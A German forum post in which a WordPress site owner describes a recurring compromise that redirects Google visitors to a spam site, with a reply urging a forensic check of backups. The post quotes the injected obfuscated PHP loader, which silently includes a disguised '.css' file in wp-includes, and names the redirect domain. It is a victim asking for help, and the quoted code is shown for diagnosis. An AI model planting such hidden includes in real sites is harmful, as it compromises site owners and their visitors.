ich versuche schon seit einigen Wochen eine Lösung zu folgendem Problem zu finden.
Meine Internet Seite die in debian nginx server läuft und wird umgeleitet in spam seite wenn man sie aus google aus aufruft.
Ich habe sämtliche Lösungsansätze die ich im Internet gefunden habe ausprobiert. Ich habe festgestellt das "meistens" in der index.php im root Ordner der SPAM code geschrieben wird. Ich kann ihn löschen aber nach einem halben Tag ist der Spamcode wieder in der index.php geschrieben. Auch spielt es keine Rolle wie streng die Zugriffsrechte der Ordner bzw. Dateien sind, der unerwünschte code ist nach einem halben Tag wieder da.
Ich verdächtige derzeit das Theme und das wird mein nächster Schritt sein, den zu tauschen. Irgendetwas scheint es auf dem server zu geben, dass diesen Angriff verursacht aber ich finde keine Lösung.
Ich habe alle unnötigen Plugins deinstalliert und gelöscht, die weiterleitung gabs weiterhiin. In den Ordnern des serverseite habe ich nach unerwünschten Dateien gesucht. Derzeit sind die Zugriffsrechte so angeppast, allerdings haben auch strengere rechte auch nicht geholfen.
Code: Alles auswählen
find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chown -R www-data /var/www/wordpress Ich habe das wordpress öffters drüber installiert indem ich wp-admin und wp-includes gelöscht und neu reinkopiert habe. Ich habe auch die Seite komplett neu aufgesetzt die umleitung war wieder nach ein paar Tagen da. Das Passwort zum server habe ich geändert. Das passswort zur Datenbank auch.
Der aggresive code sieht so ungefähr aus...
Code: Alles auswählen
/*0beb9*/
$r38xps = "/linux pfad/x2dmedia.com/wp\x2dincl\x75des/block\x2dbindings/.7515af34.css"; if (!isset($r38xps)) {var_dump ($r38xps);} else { @include_once /* 167 */ ($r38xps); }
/*0beb9*/
und leitet auf folgendes um:
Code: Alles auswählen
https://re-captha-version-4-21.buzz/ms/dog/..............Hat jemand eine Idee was ich weiterhin machen soll?
Viele Grüße und Danke in voraus.
Ioar
Nicht vergessen darf man natürlich auch, dass Backups möglicherweise korrumpiert wurden (jemand an ein write-only backup gedacht?). Somit muss die forensische Analyse sich ebenfalls auf bestehende Backups beziehen.